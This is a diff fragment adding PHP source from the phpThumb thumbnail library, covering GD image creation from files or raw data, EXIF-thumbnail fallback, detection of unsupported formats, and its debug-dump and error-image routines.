+		return (bool) (($width * $height) > $this->config_max_source_pixels);
+	}
+
+	function ImageCreateFromFilename($filename) {
+		// try to create GD image source directly via GD, if possible,
+		// rather than buffering to memory and creating with ImageCreateFromString
+		$ImageCreateWasAttempted = false;
+		$gd_image = false;
+
+		$this->DebugMessage('starting ImageCreateFromFilename('.$filename.')', __FILE__, __LINE__);
+		if ($filename && ($getimagesizeinfo = @GetImageSize($filename))) {
+			if (!$this->SourceImageIsTooLarge($getimagesizeinfo[0], $getimagesizeinfo[1])) {
+				$ImageCreateFromFunction = array(
+					1  => 'ImageCreateFromGIF',
+					2  => 'ImageCreateFromJPEG',
+					3  => 'ImageCreateFromPNG',
+					15 => 'ImageCreateFromWBMP',
+				);
+				$this->DebugMessage('ImageCreateFromFilename found ($getimagesizeinfo[2]=='.@$getimagesizeinfo[2].')', __FILE__, __LINE__);
+				switch (@$getimagesizeinfo[2]) {
+					case 1:  // GIF
+					case 2:  // JPEG
+					case 3:  // PNG
+					case 15: // WBMP
+						$ImageCreateFromFunctionName = $ImageCreateFromFunction[$getimagesizeinfo[2]];
+						if (function_exists($ImageCreateFromFunctionName)) {
+							$this->DebugMessage('Calling '.$ImageCreateFromFunctionName.'('.$filename.')', __FILE__, __LINE__);
+							$ImageCreateWasAttempted = true;
+							$gd_image = $ImageCreateFromFunctionName($filename);
+						} else {
+							$this->DebugMessage('NOT calling '.$ImageCreateFromFunctionName.'('.$filename.') because !function_exists('.$ImageCreateFromFunctionName.')', __FILE__, __LINE__);
+						}
+						break;
+
+					case 4:  // SWF
+					case 5:  // PSD
+					case 6:  // BMP
+					case 7:  // TIFF (LE)
+					case 8:  // TIFF (BE)
+					case 9:  // JPC
+					case 10: // JP2
+					case 11: // JPX
+					case 12: // JB2
+					case 13: // SWC
+					case 14: // IFF
+					case 16: // XBM
+						$this->DebugMessage('No built-in image creation function for image type "'.@$getimagesizeinfo[2].'" ($getimagesizeinfo[2])', __FILE__, __LINE__);
+						break;
+
+					default:
+						$this->DebugMessage('Unknown value for $getimagesizeinfo[2]: "'.@$getimagesizeinfo[2].'"', __FILE__, __LINE__);
+						break;
+				}
+			} else {
+				$this->DebugMessage('image is '.$getimagesizeinfo[0].'x'.$getimagesizeinfo[1].' and therefore contains more pixels ('.($getimagesizeinfo[0] * $getimagesizeinfo[1]).') than $this->config_max_source_pixels setting ('.$this->config_max_source_pixels.')', __FILE__, __LINE__);
+				return false;
+			}
+		} else {
+			$this->DebugMessage('empty $filename or GetImageSize('.$filename.') failed', __FILE__, __LINE__);
+		}
+
+		if (!$gd_image) {
+			// cannot create from filename, attempt to create source image with ImageCreateFromString, if possible
+			if ($ImageCreateWasAttempted) {
+				$this->DebugMessage(@$ImageCreateFromFunctionName.'() was attempted but FAILED', __FILE__, __LINE__);
+			}
+			$this->DebugMessage('Populating $rawimagedata', __FILE__, __LINE__);
+			$rawimagedata = '';
+			if ($fp = @fopen($filename, 'rb')) {
+				$filesize = filesize($filename);
+				$blocksize = 8192;
+				$blockreads = ceil($filesize / $blocksize);
+				for ($i = 0; $i < $blockreads; $i++) {
+					$rawimagedata .= fread($fp, $blocksize);
+				}
+				fclose($fp);
+			} else {
+				$this->DebugMessage('cannot fopen('.$filename.')', __FILE__, __LINE__);
+			}
+			if ($rawimagedata) {
+				$this->DebugMessage('attempting ImageCreateFromStringReplacement($rawimagedata ('.strlen($rawimagedata).' bytes), true)', __FILE__, __LINE__);
+				$gd_image = $this->ImageCreateFromStringReplacement($rawimagedata, true);
+			}
+		}
+		return $gd_image;
+	}
+
+	function SourceImageToGD() {
+		if (is_resource($this->gdimg_source)) {
+			$this->source_width  = ImageSX($this->gdimg_source);
+			$this->source_height = ImageSY($this->gdimg_source);
+			$this->DebugMessage('skipping SourceImageToGD() because $this->gdimg_source is already a resource ('.$this->source_width.'x'.$this->source_height.')', __FILE__, __LINE__);
+			return true;
+		}
+		$this->DebugMessage('starting SourceImageToGD()', __FILE__, __LINE__);
+
+		if ($this->ImageMagickThumbnailToGD()) {
+
+			// excellent, we have a thumbnailed source image
+			$this->DebugMessage('ImageMagickThumbnailToGD() succeeded', __FILE__, __LINE__);
+
+		} elseif (!$this->gdimg_source && $this->rawImageData) {
+
+			if ($this->SourceImageIsTooLarge($this->source_width, $this->source_height)) {
+				$memory_get_usage = (function_exists('memory_get_usage') ? memory_get_usage() : 0);
+				return $this->ErrorImage('Source image is too large ('.$this->source_width.'x'.$this->source_height.' = '.number_format($this->source_width * $this->source_height / 1000000, 1).'Mpx, max='.number_format($this->config_max_source_pixels / 1000000, 1).'Mpx) for GD creation (either install ImageMagick or increase PHP memory_limit to at least '.ceil(($memory_get_usage + (5 * $this->source_width * $this->source_height)) / 1048576).'M).');
+			}
+			if ($this->md5s && ($this->md5s != md5($this->rawImageData))) {
+				return $this->ErrorImage('$this->md5s != md5($this->rawImageData)'."\n".'"'.$this->md5s.'" != '."\n".'"'.md5($this->rawImageData).'"');
+			}
+			//if (ini_get('safe_mode')) {
+			//	return $this->ErrorImage('Cannot generate thumbnails from raw image data when PHP SAFE_MODE enabled');
+			//}
+			$this->gdimg_source = $this->ImageCreateFromStringReplacement($this->rawImageData);
+			if (!$this->gdimg_source) {
+				if (substr($this->rawImageData, 0, 2) === 'BM') {
+					$this->getimagesizeinfo[2] = 6; // BMP
+				} elseif (substr($this->rawImageData, 0, 4) === 'II'."\x2A\x00") {
+					$this->getimagesizeinfo[2] = 7; // TIFF (littlendian)
+				} elseif (substr($this->rawImageData, 0, 4) === 'MM'."\x00\x2A") {
+					$this->getimagesizeinfo[2] = 8; // TIFF (bigendian)
+				}
+				$this->DebugMessage('SourceImageToGD.ImageCreateFromStringReplacement() failed with unknown image type "'.substr($this->rawImageData, 0, 4).'" ('.phpthumb_functions::HexCharDisplay(substr($this->rawImageData, 0, 4)).')', __FILE__, __LINE__);
+//				return $this->ErrorImage('Unknown image type identified by "'.substr($this->rawImageData, 0, 4).'" ('.phpthumb_functions::HexCharDisplay(substr($this->rawImageData, 0, 4)).') in SourceImageToGD()['.__LINE__.']');
+			}
+
+		} elseif (!$this->gdimg_source && $this->sourceFilename) {
+
+			if ($this->md5s && ($this->md5s != phpthumb_functions::md5_file_safe($this->sourceFilename))) {
+				return $this->ErrorImage('$this->md5s != md5(sourceFilename)'."\n".'"'.$this->md5s.'" != '."\n".'"'.phpthumb_functions::md5_file_safe($this->sourceFilename).'"');
+			}
+			switch (@$this->getimagesizeinfo[2]) {
+				case 1:
+				case 3:
+					// GIF or PNG input file may have transparency
+					$this->is_alpha = true;
+					break;
+			}
+			if (!$this->SourceImageIsTooLarge($this->source_width, $this->source_height)) {
+				$this->gdimg_source = $this->ImageCreateFromFilename($this->sourceFilename);
+			}
+
+		}
+
+		while (true) {
+			if ($this->gdimg_source) {
+				$this->DebugMessage('Not using EXIF thumbnail data because $this->gdimg_source is already set', __FILE__, __LINE__);
+				break;
+			}
+			if (!$this->exif_thumbnail_data) {
+				$this->DebugMessage('Not using EXIF thumbnail data because $this->exif_thumbnail_data is empty', __FILE__, __LINE__);
+				break;
+			}
+			if (ini_get('safe_mode')) {
+				if (!$this->SourceImageIsTooLarge($this->source_width, $this->source_height)) {
+					$this->DebugMessage('Using EXIF thumbnail data because source image too large and safe_mode enabled', __FILE__, __LINE__);
+					$this->aoe = true;
+				} else {
+					break;
+				}
+			} else {
+				if (!$this->config_use_exif_thumbnail_for_speed) {
+					$this->DebugMessage('Not using EXIF thumbnail data because $this->config_use_exif_thumbnail_for_speed is FALSE', __FILE__, __LINE__);
+					break;
+				}
+				if (($this->thumbnailCropX != 0) || ($this->thumbnailCropY != 0)) {
+					$this->DebugMessage('Not using EXIF thumbnail data because source cropping is enabled ('.$this->thumbnailCropX.','.$this->thumbnailCropY.')', __FILE__, __LINE__);
+					break;
+				}
+				if (($this->w > $this->exif_thumbnail_width) || ($this->h > $this->exif_thumbnail_height)) {
+					$this->DebugMessage('Not using EXIF thumbnail data because EXIF thumbnail is too small ('.$this->exif_thumbnail_width.'x'.$this->exif_thumbnail_height.' vs '.$this->w.'x'.$this->h.')', __FILE__, __LINE__);
+					break;
+				}
+				$source_ar = $this->source_width / $this->source_height;
+				$exif_ar   = $this->exif_thumbnail_width / $this->exif_thumbnail_height;
+				if (number_format($source_ar, 2) != number_format($exif_ar, 2)) {
+					$this->DebugMessage('not using EXIF thumbnail because $source_ar != $exif_ar ('.$source_ar.' != '.$exif_ar.')', __FILE__, __LINE__);
+					break;
+				}
+			}
+
+			// EXIF thumbnail exists, and is equal to or larger than destination thumbnail, and will be use as source image
+			$this->DebugMessage('Trying to use EXIF thumbnail as source image', __FILE__, __LINE__);
+
+			if ($gdimg_exif_temp = $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data, false)) {
+
+				$this->DebugMessage('Successfully using EXIF thumbnail as source image', __FILE__, __LINE__);
+				$this->gdimg_source   = $gdimg_exif_temp;
+				$this->source_width   = $this->exif_thumbnail_width;
+				$this->source_height  = $this->exif_thumbnail_height;
+				$this->thumbnailCropW = $this->source_width;
+				$this->thumbnailCropH = $this->source_height;
+				return true;
+
+			} else {
+				$this->DebugMessage('$this->ImageCreateFromStringReplacement($this->exif_thumbnail_data, false) failed', __FILE__, __LINE__);
+			}
+
+			break;
+		}
+
+		if (!$this->gdimg_source) {
+			$this->DebugMessage('$this->gdimg_source is still empty', __FILE__, __LINE__);
+
+			$this->DebugMessage('ImageMagickThumbnailToGD() failed', __FILE__, __LINE__);
+
+			$imageHeader = '';
+			$gd_info = gd_info();
+			$GDreadSupport = false;
+			switch (@$this->getimagesizeinfo[2]) {
+				case 1:
+					$imageHeader = 'Content-Type: image/gif';
+					$GDreadSupport = (bool) @$gd_info['GIF Read Support'];
+					break;
+				case 2:
+					$imageHeader = 'Content-Type: image/jpeg';
+					$GDreadSupport = (bool) @$gd_info['JPG Support'];
+					break;
+				case 3:
+					$imageHeader = 'Content-Type: image/png';
+					$GDreadSupport = (bool) @$gd_info['PNG Support'];
+					break;
+			}
+			if ($imageHeader) {
+				// cannot create image for whatever reason (maybe ImageCreateFromJPEG et al are not available?)
+				// and ImageMagick is not available either, no choice but to output original (not resized/modified) data and exit
+				if ($this->config_error_die_on_source_failure) {
+					$errormessages = array();
+					$errormessages[] = 'All attempts to create GD image source failed.';
+					if ($this->fatalerror) {
+						$errormessages[] = $this->fatalerror;
+					}
+					if (ini_get('safe_mode')) {
+						$errormessages[] = 'Safe Mode enabled, therefore ImageMagick is unavailable. (disable Safe Mode if possible)';
+					} elseif (!$this->ImageMagickVersion()) {
+						$errormessages[] = 'ImageMagick is not installed (it is highly recommended that you install it).';
+					}
+					if ($this->SourceImageIsTooLarge($this->getimagesizeinfo[0], $this->getimagesizeinfo[1])) {
+						$memory_get_usage = (function_exists('memory_get_usage') ? memory_get_usage() : 0);
+						$errormessages[] = 'Source image is too large ('.$this->getimagesizeinfo[0].'x'.$this->getimagesizeinfo[1].' = '.number_format($this->getimagesizeinfo[0] * $this->getimagesizeinfo[1] / 1000000, 1).'Mpx, max='.number_format($this->config_max_source_pixels / 1000000, 1).'Mpx) for GD creation (either install ImageMagick or increase PHP memory_limit to at least '.ceil(($memory_get_usage + (5 * $this->getimagesizeinfo[0] * $this->getimagesizeinfo[1])) / 1048576).'M).';
+					} elseif (!$GDreadSupport) {
+						$errormessages[] = 'GD does not have read support for "'.$imageHeader.'".';
+					} else {
+						$errormessages[] = 'Source image probably corrupt.';
+					}
+					$this->ErrorImage(implode("\n", $errormessages));
+
+				} else {
+					$this->DebugMessage('All attempts to create GD image source failed ('.(ini_get('safe_mode') ? 'Safe Mode enabled, ImageMagick unavailable and source image probably too large for GD': ($GDreadSupport ? 'source image probably corrupt' : 'GD does not have read support for "'.$imageHeader.'"')).'), cannot generate thumbnail');
+					//$this->DebugMessage('All attempts to create GD image source failed ('.($GDreadSupport ? 'source image probably corrupt' : 'GD does not have read support for "'.$imageHeader.'"').'), outputing raw image', __FILE__, __LINE__);
+					//if (!$this->phpThumbDebug) {
+					//	header($imageHeader);
+					//	echo $this->rawImageData;
+					//	exit;
+					//}
+					return false;
+				}
+			}
+
+			//switch (substr($this->rawImageData, 0, 2)) {
+			//	case 'BM':
+			switch (@$this->getimagesizeinfo[2]) {
+				case 6:
+					ob_start();
+					if (!@include_once(dirname(__FILE__).'/phpthumb.bmp.php')) {
+						ob_end_clean();
+						return $this->ErrorImage('include_once('.dirname(__FILE__).'/phpthumb.bmp.php) failed');
+					}
+					ob_end_clean();
+					if ($fp = @fopen($this->sourceFilename, 'rb')) {
+						$this->rawImageData = '';
+						while (!feof($fp)) {
+							$this->rawImageData .= fread($fp, 32768);
+						}
+						fclose($fp);
+					}
+					$phpthumb_bmp = new phpthumb_bmp();
+					$this->gdimg_source = $phpthumb_bmp->phpthumb_bmp2gd($this->rawImageData, (phpthumb_functions::gd_version() >= 2.0));
+					unset($phpthumb_bmp);
+					if ($this->gdimg_source) {
+						$this->DebugMessage('$phpthumb_bmp->phpthumb_bmp2gd() succeeded', __FILE__, __LINE__);
+					} else {
+						return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on BMP source conversion' : 'phpthumb_bmp2gd() failed');
+					}
+					break;
+			//}
+			//switch (substr($this->rawImageData, 0, 4)) {
+			//	case 'II'."\x2A\x00":
+			//	case 'MM'."\x00\x2A":
+				case 7:
+				case 8:
+					return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on TIFF source conversion' : 'ImageMagick is unavailable and phpThumb() does not support TIFF source images without it');
+					break;
+
+				//case "\xD7\xCD\xC6\x9A":
+				//	return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on WMF source conversion' : 'ImageMagick is unavailable and phpThumb() does not support WMF source images without it');
+				//	break;
+			}
+
+			if (!$this->gdimg_source) {
+				$HeaderFourBytes = '';
+				if ($this->rawImageData) {
+					$HeaderFourBytes = substr($this->rawImageData, 0, 4);
+				} elseif ($this->sourceFilename) {
+					if ($fp = @fopen($this->sourceFilename, 'rb')) {
+						$HeaderFourBytes = fread($fp, 4);
+						fclose($fp);
+					} else {
+						return $this->ErrorImage('failed to open "'.$this->sourceFilename.'" SourceImageToGD() ['.__LINE__.']');
+					}
+				} else {
+					return $this->ErrorImage('Unable to create image, neither filename nor image data suppplied in SourceImageToGD() ['.__LINE__.']');
+				}
+				if (!$this->ImageMagickVersion() && !phpthumb_functions::gd_version()) {
+					return $this->ErrorImage('Neither GD nor ImageMagick seem to be installed on this server. At least one (preferably GD), or better both, MUST be installed for phpThumb to work.');
+				} elseif ($HeaderFourBytes == "\xD7\xCD\xC6\x9A") { // WMF
+					return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick failed on WMF source conversion' : 'ImageMagick is unavailable and phpThumb() does not support WMF source images without it');
+				} elseif ($HeaderFourBytes == '%PDF') { // "%PDF"
+					return $this->ErrorImage($this->ImageMagickVersion() ? 'ImageMagick and GhostScript are both required for PDF source images; GhostScript may not be properly configured' : 'ImageMagick and/or GhostScript are unavailable and phpThumb() does not support PDF source images without them');
+				} elseif (substr($HeaderFourBytes, 0, 3) == "\xFF\xD8\xFF") { // JPEG
+					return $this->ErrorImage('Image (JPEG) is too large for PHP-GD memory_limit, please install ImageMagick or increase php.ini memory_limit setting');
+				} elseif ($HeaderFourBytes == '%PNG') { // "%PNG"
+					return $this->ErrorImage('Image (PNG) is too large for PHP-GD memory_limit, please install ImageMagick or increase php.ini memory_limit setting');
+				} elseif (substr($HeaderFourBytes, 0, 3) == 'GIF') { // GIF
+					return $this->ErrorImage('Image (GIF) is too large for PHP-GD memory_limit, please install ImageMagick or increase php.ini memory_limit setting');
+				}
+				return $this->ErrorImage('Unknown image type identified by "'.$HeaderFourBytes.'" ('.phpthumb_functions::HexCharDisplay($HeaderFourBytes).') in SourceImageToGD() ['.__LINE__.']');
+
+			}
+		}
+
+		if (!$this->gdimg_source) {
+			if ($gdimg_exif_temp = $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data, false)) {
+				$this->DebugMessage('All other attempts failed, but successfully using EXIF thumbnail as source image', __FILE__, __LINE__);
+				$this->gdimg_source = $gdimg_exif_temp;
+				// override allow-enlarging setting if EXIF thumbnail is the only source available
+				// otherwise thumbnails larger than the EXIF thumbnail will be created at EXIF size
+				$this->aoe = true;
+				return true;
+			}
+			return false;
+		}
+
+		$this->source_width  = ImageSX($this->gdimg_source);
+		$this->source_height = ImageSY($this->gdimg_source);
+		return true;
+	}
+
+
+	function phpThumbDebugVarDump($var) {
+		if (is_null($var)) {
+			return 'NULL';
+		} elseif (is_bool($var)) {
+			return ($var ? 'TRUE' : 'FALSE');
+		} elseif (is_string($var)) {
+			return 'string('.strlen($var).')'.str_repeat(' ', max(0, 3 - strlen(strlen($var)))).' "'.$var.'"';
+		} elseif (is_int($var)) {
+			return 'integer     '.$var;
+		} elseif (is_float($var)) {
+			return 'float       '.$var;
+		} elseif (is_array($var)) {
+			ob_start();
+			var_dump($var);
+			$vardumpoutput = ob_get_contents();
+			ob_end_clean();
+			return strtr($vardumpoutput, "\n\r\t", '   ');
+		}
+		return gettype($var);
+	}
+
+	function phpThumbDebug($level='') {
+		if ($level && ($this->phpThumbDebug !== $level)) {
+			return true;
+		}
+		if ($this->config_disable_debug) {
+			return $this->ErrorImage('phpThumbDebug disabled');
+		}
+
+		$FunctionsExistance  = array('exif_thumbnail', 'gd_info', 'image_type_to_mime_type', 'GetImageSize', 'ImageCopyResampled', 'ImageCopyResized', 'ImageCreate', 'ImageCreateFromString', 'ImageCreateTrueColor', 'ImageIsTrueColor', 'ImageRotate', 'ImageTypes', 'version_compare', 'ImageCreateFromGIF', 'ImageCreateFromJPEG', 'ImageCreateFromPNG', 'ImageCreateFromWBMP', 'ImageCreateFromXBM', 'ImageCreateFromXPM', 'ImageCreateFromString', 'ImageCreateFromGD', 'ImageCreateFromGD2', 'ImageCreateFromGD2Part', 'ImageJPEG', 'ImageGIF', 'ImagePNG', 'ImageWBMP');
+		$ParameterNames      = array('src', 'new', 'w', 'h', 'f', 'q', 'sx', 'sy', 'sw', 'sh', 'far', 'bg', 'bc', 'file', 'goto', 'err', 'xto', 'ra', 'ar', 'aoe', 'iar', 'maxb');
+		$ConfigVariableNames = array('document_root', 'temp_directory', 'output_format', 'output_maxwidth', 'output_maxheight', 'error_message_image_default', 'error_bgcolor', 'error_textcolor', 'error_fontsize', 'error_die_on_error', 'error_silent_die_on_error', 'error_die_on_source_failure', 'nohotlink_enabled', 'nohotlink_valid_domains', 'nohotlink_erase_image', 'nohotlink_text_message', 'nooffsitelink_enabled', 'nooffsitelink_valid_domains', 'nooffsitelink_require_refer', 'nooffsitelink_erase_image', 'nooffsitelink_text_message', 'high_security_enabled', 'allow_src_above_docroot', 'allow_src_above_phpthumb', 'allow_parameter_file', 'allow_parameter_goto', 'max_source_pixels', 'use_exif_thumbnail_for_speed', 'border_hexcolor', 'background_hexcolor', 'ttf_directory', 'disable_pathinfo_parsing', 'disable_imagecopyresampled');
+		$OtherVariableNames  = array('phpThumbDebug', 'thumbnailQuality', 'thumbnailFormat', 'gdimg_output', 'gdimg_source', 'sourceFilename', 'source_width', 'source_height', 'thumbnailCropX', 'thumbnailCropY', 'thumbnailCropW', 'thumbnailCropH', 'exif_thumbnail_width', 'exif_thumbnail_height', 'exif_thumbnail_type', 'thumbnail_width', 'thumbnail_height', 'thumbnail_image_width', 'thumbnail_image_height');
+
+		$DebugOutput = array();
+		$DebugOutput[] = 'phpThumb() version          = '.$this->phpthumb_version;
+		$DebugOutput[] = 'phpversion()                = '.@phpversion();
+		$DebugOutput[] = 'PHP_OS                      = '.PHP_OS;
+		$DebugOutput[] = '$_SERVER[SERVER_SOFTWARE]   = '.@$_SERVER['SERVER_SOFTWARE'];
+		$DebugOutput[] = '__FILE__                    = '.__FILE__;
+		$DebugOutput[] = 'realpath(.)                 = '.@realpath('.');
+		$DebugOutput[] = '$_SERVER[PHP_SELF]          = '.@$_SERVER['PHP_SELF'];
+		$DebugOutput[] = '$_SERVER[HOST_NAME]         = '.@$_SERVER['HOST_NAME'];
+		$DebugOutput[] = '$_SERVER[HTTP_REFERER]      = '.@$_SERVER['HTTP_REFERER'];
+		$DebugOutput[] = '$_SERVER[QUERY_STRING]      = '.@$_SERVER['QUERY_STRING'];
+		$DebugOutput[] = '$_SERVER[PATH_INFO]         = '.@$_SERVER['PATH_INFO'];
+		$DebugOutput[] = '$_SERVER[DOCUMENT_ROOT]     = '.@$_SERVER['DOCUMENT_ROOT'];
+		$DebugOutput[] = 'getenv(DOCUMENT_ROOT)       = '.@getenv('DOCUMENT_ROOT');
+		$DebugOutput[] = '';
+
+		$DebugOutput[] = 'get_magic_quotes_gpc()         = '.$this->phpThumbDebugVarDump(@get_magic_quotes_gpc());
+		$DebugOutput[] = 'get_magic_quotes_runtime()     = '.$this->phpThumbDebugVarDump(@get_magic_quotes_runtime());
+		$DebugOutput[] = 'error_reporting()              = '.$this->phpThumbDebugVarDump(error_reporting());
+		$DebugOutput[] = 'ini_get(error_reporting)       = '.$this->phpThumbDebugVarDump(@ini_get('error_reporting'));
+		$DebugOutput[] = 'ini_get(display_errors)        = '.$this->phpThumbDebugVarDump(@ini_get('display_errors'));
+		$DebugOutput[] = 'ini_get(allow_url_fopen)       = '.$this->phpThumbDebugVarDump(@ini_get('allow_url_fopen'));
+		$DebugOutput[] = 'ini_get(disable_functions)     = '.$this->phpThumbDebugVarDump(@ini_get('disable_functions'));
+		$DebugOutput[] = 'get_cfg_var(disable_functions) = '.$this->phpThumbDebugVarDump(@get_cfg_var('disable_functions'));
+		$DebugOutput[] = 'ini_get(safe_mode)             = '.$this->phpThumbDebugVarDump(@ini_get('safe_mode'));
+		$DebugOutput[] = 'ini_get(open_basedir)          = '.$this->phpThumbDebugVarDump(@ini_get('open_basedir'));
+		$DebugOutput[] = 'ini_get(max_execution_time)    = '.$this->phpThumbDebugVarDump(@ini_get('max_execution_time'));
+		$DebugOutput[] = 'ini_get(memory_limit)          = '.$this->phpThumbDebugVarDump(@ini_get('memory_limit'));
+		$DebugOutput[] = 'get_cfg_var(memory_limit)      = '.$this->phpThumbDebugVarDump(@get_cfg_var('memory_limit'));
+		$DebugOutput[] = 'memory_get_usage()             = '.(function_exists('memory_get_usage') ? $this->phpThumbDebugVarDump(@memory_get_usage()) : 'n/a');
+		$DebugOutput[] = '';
+
+		$DebugOutput[] = '$this->config_prefer_imagemagick            = '.$this->phpThumbDebugVarDump($this->config_prefer_imagemagick);
+		$DebugOutput[] = '$this->config_imagemagick_path              = '.$this->phpThumbDebugVarDump($this->config_imagemagick_path);
+		$DebugOutput[] = '$this->ImageMagickWhichConvert()            = '.$this->ImageMagickWhichConvert();
+		$IMpathUsed = ($this->config_imagemagick_path ? $this->config_imagemagick_path : $this->ImageMagickWhichConvert());
+		$DebugOutput[] = '[actual ImageMagick path used]              = '.$this->phpThumbDebugVarDump($IMpathUsed);
+		$DebugOutput[] = 'file_exists([actual ImageMagick path used]) = '.$this->phpThumbDebugVarDump(@file_exists($IMpathUsed));
+		$DebugOutput[] = 'ImageMagickVersion(false)                   = '.$this->ImageMagickVersion(false);
+		$DebugOutput[] = 'ImageMagickVersion(true)                    = '.$this->ImageMagickVersion(true);
+		$DebugOutput[] = '';
+
+		$DebugOutput[] = '$this->config_cache_directory               = '.$this->phpThumbDebugVarDump($this->config_cache_directory);
+		$DebugOutput[] = '$this->config_cache_directory_depth         = '.$this->phpThumbDebugVarDump($this->config_cache_directory_depth);
+		$DebugOutput[] = '$this->config_cache_disable_warning         = '.$this->phpThumbDebugVarDump($this->config_cache_disable_warning);
+		$DebugOutput[] = '$this->config_cache_maxage                  = '.$this->phpThumbDebugVarDump($this->config_cache_maxage);
+		$DebugOutput[] = '$this->config_cache_maxsize                 = '.$this->phpThumbDebugVarDump($this->config_cache_maxsize);
+		$DebugOutput[] = '$this->config_cache_maxfiles                = '.$this->phpThumbDebugVarDump($this->config_cache_maxfiles);
+		$DebugOutput[] = '$this->config_cache_force_passthru          = '.$this->phpThumbDebugVarDump($this->config_cache_force_passthru);
+		$DebugOutput[] = '$this->cache_filename                       = '.$this->phpThumbDebugVarDump($this->cache_filename);
+		$DebugOutput[] = 'is_readable($this->config_cache_directory)  = '.$this->phpThumbDebugVarDump(@is_readable($this->config_cache_directory));
+		$DebugOutput[] = 'is_writable($this->config_cache_directory)  = '.$this->phpThumbDebugVarDump(@is_writable($this->config_cache_directory));
+		$DebugOutput[] = 'is_readable($this->cache_filename)          = '.$this->phpThumbDebugVarDump(@is_readable($this->cache_filename));
+		$DebugOutput[] = 'is_writable($this->cache_filename)          = '.(@file_exists($this->cache_filename) ? $this->phpThumbDebugVarDump(@is_writable($this->cache_filename)) : 'n/a');
+		$DebugOutput[] = '';
+
+		foreach ($ConfigVariableNames as $varname) {
+			$varname = 'config_'.$varname;
+			$value = $this->$varname;
+			$DebugOutput[] = '$this->'.str_pad($varname, 37, ' ', STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
+		}
+		$DebugOutput[] = '';
+		foreach ($OtherVariableNames as $varname) {
+			$value = $this->$varname;
+			$DebugOutput[] = '$this->'.str_pad($varname, 27, ' ', STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
+		}
+		$DebugOutput[] = 'strlen($this->rawImageData)        = '.strlen(@$this->rawImageData);
+		$DebugOutput[] = 'strlen($this->exif_thumbnail_data) = '.strlen(@$this->exif_thumbnail_data);
+		$DebugOutput[] = '';
+
+		foreach ($ParameterNames as $varname) {
+			$value = $this->$varname;
+			$DebugOutput[] = '$this->'.str_pad($varname, 4, ' ', STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
+		}
+		$DebugOutput[] = '';
+
+		foreach ($FunctionsExistance as $functionname) {
+			$DebugOutput[] = 'builtin_function_exists('.$functionname.')'.str_repeat(' ', 23 - strlen($functionname)).' = '.$this->phpThumbDebugVarDump(phpthumb_functions::builtin_function_exists($functionname));
+		}
+		$DebugOutput[] = '';
+
+		$gd_info = gd_info();
+		foreach ($gd_info as $key => $value) {
+			$DebugOutput[] = 'gd_info.'.str_pad($key, 34, ' ', STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
+		}
+		$DebugOutput[] = '';
+
+		$exif_info = phpthumb_functions::exif_info();
+		foreach ($exif_info as $key => $value) {
+			$DebugOutput[] = 'exif_info.'.str_pad($key, 26, ' ', STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
+		}
+		$DebugOutput[] = '';
+
+		if ($ApacheLookupURIarray = phpthumb_functions::ApacheLookupURIarray(dirname(@$_SERVER['PHP_SELF']))) {
+			foreach ($ApacheLookupURIarray as $key => $value) {
+				$DebugOutput[] = 'ApacheLookupURIarray.'.str_pad($key, 15, ' ', STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
+			}
+		} else {
+				$DebugOutput[] = 'ApacheLookupURIarray() -- FAILED';
+		}
+		$DebugOutput[] = '';
+
+		if (isset($_GET) && is_array($_GET)) {
+			foreach ($_GET as $key => $value) {
+				$DebugOutput[] = '$_GET['.$key.']'.str_repeat(' ', 30 - strlen($key)).'= '.$this->phpThumbDebugVarDump($value);
+			}
+		}
+		if (isset($_POST) && is_array($_POST)) {
+			foreach ($_POST as $key => $value) {
+				$DebugOutput[] = '$_POST['.$key.']'.str_repeat(' ', 29 - strlen($key)).'= '.$this->phpThumbDebugVarDump($value);
+			}
+		}
+		$DebugOutput[] = '';
+
+		$DebugOutput[] = '$this->debugmessages:';
+		foreach ($this->debugmessages as $errorstring) {
+			$DebugOutput[] = '  * '.$errorstring;
+		}
+		$DebugOutput[] = '';
+
+		$DebugOutput[] = '$this->debugtiming:';
+		foreach ($this->debugtiming as $timestamp => $timingstring) {
+			$DebugOutput[] = '  * '.$timestamp.' '.$timingstring;
+		}
+		$DebugOutput[] = '  * Total processing time: '.number_format(max(array_keys($this->debugtiming)) - min(array_keys($this->debugtiming)), 6);
+
+		$this->f = (isset($_GET['f']) ? $_GET['f'] : $this->f); // debug modes 0-2 don't recognize text mode otherwise
+		return $this->ErrorImage(implode("\n", $DebugOutput), 700, 500, true);
+	}
+
+	function FatalError($text) {
+		if (is_null($this->fatalerror)) {
+			$this->fatalerror = $text;
+		}
+		return true;
+	}
+
+	function ErrorImage($text, $width=0, $height=0, $forcedisplay=false) {
+		$width  = ($width  ? $width  : $this->config_error_image_width);
+		$height = ($height ? $height : $this->config_error_image_height);
+
+		$text = 'phpThumb() v'.$this->phpthumb_version."\n\n".$text;
+		if ($this->config_disable_debug) {
+			$text = 'Error messages disabled';
+		}
+
+		$this->FatalError($text);
+		$this->DebugMessage($text, __FILE__, __LINE__);
+		if ($this->phpThumbDebug && !$forcedisplay) {
+			return false;
+		}
+		if (!$this->config_error_die_on_error && !$forcedisplay) {
+			return false;
+		}
+		if ($this->config_error_silent_die_on_error) {
+			exit;
+		}
+		if ($this->err || $this->config_error_message_image_default) {
+			// Show generic custom error image instead of error message
+			// for use on production sites where you don't want debug messages
+			if (($this->err == 'showerror') || $this->phpThumbDebug) {
+				// fall through and actually show error message even if default error image is set
+			} else {
+				header('Location: '.($this->err ? $this->err : $this->config_error_message_image_default));
+				exit;
+			}
+		}
+		$this->setOutputFormat();
+		if (!$this->thumbnailFormat || (phpthumb_functions::gd_version() < 1)) {
+			$this->thumbnailFormat = 'text';
+		}
+		if (@$this->thumbnailFormat == 'text') {
+			// bypass all GD functions and output text error message
+			if (!headers_sent()) {
+				header('Content-type: text/plain');
+				echo $text;
+			} else {
+				echo '<pre>'.htmlspecialchars($text).'</pre>';
+			}
+			exit;
+		}
+
